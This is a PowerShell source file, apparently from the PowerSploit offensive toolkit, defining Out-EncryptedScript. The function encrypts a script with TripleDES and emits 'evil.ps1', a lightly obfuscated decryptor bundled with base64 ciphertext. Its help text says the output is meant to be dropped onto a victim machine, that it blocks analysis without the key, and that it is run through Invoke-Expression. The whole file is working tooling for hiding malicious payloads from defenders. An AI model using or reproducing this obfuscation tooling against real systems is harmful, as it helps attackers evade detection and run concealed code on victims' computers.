ScriptModification/Out-EncryptedScript.ps1
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function Out-EncryptedScript { <# .SYNOPSIS Encrypts text files/scripts. PowerSploit Function: Out-EncryptedScript Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Out-EncryptedScript will encrypt a script (or any text file for that matter) and output the results to a minimally obfuscated script - evil.ps1 by default. .PARAMETER ScriptPath Path to this script .PARAMETER Password Password to encrypt/decrypt the script .PARAMETER Salt Salt value for encryption/decryption. This can be any string value. .PARAMETER InitializationVector Specifies a 16-character the initialization vector to be used. This is randomly generated by default. .EXAMPLE C:\PS> Out-EncryptedScript .\Naughty-Script.ps1 password salty Description ----------- Encrypt the contents of this file with a password and salt. This will make analysis of the script impossible without the correct password and salt combination. This command will generate evil.ps1 that can dropped onto the victim machine. It only consists of a decryption function 'de' and the base64-encoded ciphertext. .EXAMPLE C:\PS> [String] $cmd = Get-Content .\evil.ps1 C:\PS> Invoke-Expression $cmd C:\PS> $decrypted = de password salt C:\PS> Invoke-Expression $decrypted Description ----------- This series of instructions assumes you've already encrypted a script and named it evil.ps1. The contents are then decrypted and the unencrypted script is called via Invoke-Expression .NOTES This command can be used to encrypt any text-based file/script #> [CmdletBinding()] Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $ScriptPath, [Parameter(Position = 1, Mandatory = $True)] [String] $Password, [Parameter(Position = 2, Mandatory = $True)] [String] $Salt, [Parameter(Position = 3)] [ValidateLength(16, 16)] [String] $InitializationVector = ((1..16 | % {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ''), [Parameter(Position = 4)] [String] $FilePath = '.\evil.ps1' ) $AsciiEncoder = New-Object System.Text.ASCIIEncoding $ivBytes = $AsciiEncoder.GetBytes($InitializationVector) # While this can be used to encrypt any file, it's primarily designed to encrypt itself. [Byte[]] $scriptBytes = Get-Content -Encoding Byte -ReadCount 0 -Path $ScriptPath $DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($Password, $AsciiEncoder.GetBytes($Salt), "SHA1", 2) $Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider $Key.Mode = [System.Security.Cryptography.CipherMode]::CBC [Byte[]] $KeyBytes = $DerivedPass.GetBytes(16) $Encryptor = $Key.CreateEncryptor($KeyBytes, $ivBytes) $MemStream = New-Object System.IO.MemoryStream $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($MemStream, $Encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) $CryptoStream.Write($scriptBytes, 0, $scriptBytes.Length) $CryptoStream.FlushFinalBlock() $CipherTextBytes = $MemStream.ToArray() $MemStream.Close() $CryptoStream.Close() $Key.Clear() $Cipher = [Convert]::ToBase64String($CipherTextBytes) # Generate encrypted PS1 file. All that will be included is the base64-encoded ciphertext and a slightly 'obfuscated' decrypt function $Output = @" function de([String] `$b, [String] `$c) { `$a = "$Cipher"; `$encoding = New-Object System.Text.ASCIIEncoding; `$dd = `$encoding.GetBytes("$InitializationVector"); `$aa = [Convert]::FromBase64String(`$a); `$derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes(`$b, `$encoding.GetBytes(`$c), "SHA1", 2); [Byte[]] `$e = `$derivedPass.GetBytes(16); `$f = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider; `$f.Mode = [System.Security.Cryptography.CipherMode]::CBC; [Byte[]] `$h = New-Object Byte[](`$aa.Length); `$g = `$f.CreateDecryptor(`$e, `$dd); `$i = New-Object System.IO.MemoryStream(`$aa, `$True); `$j = New-Object System.Security.Cryptography.CryptoStream(`$i, `$g, [System.Security.Cryptography.CryptoStreamMode]::Read); `$r = `$j.Read(`$h, 0, `$h.Length); `$i.Close(); `$j.Close(); `$f.Clear(); if ((`$h.Length -gt 3) -and (`$h[0] -eq 0xEF) -and (`$h[1] -eq 0xBB) -and (`$h[2] -eq 0xBF)) { `$h = `$h[3..(`$h.Length-1)]; } return `$encoding.GetString(`$h).TrimEnd([Char] 0); } "@ # Output decrypt function and ciphertext to evil.ps1 Out-File -InputObject $Output -Encoding ASCII $FilePath Write-Verbose "Encrypted PS1 file saved to: $(Resolve-Path $FilePath)" } |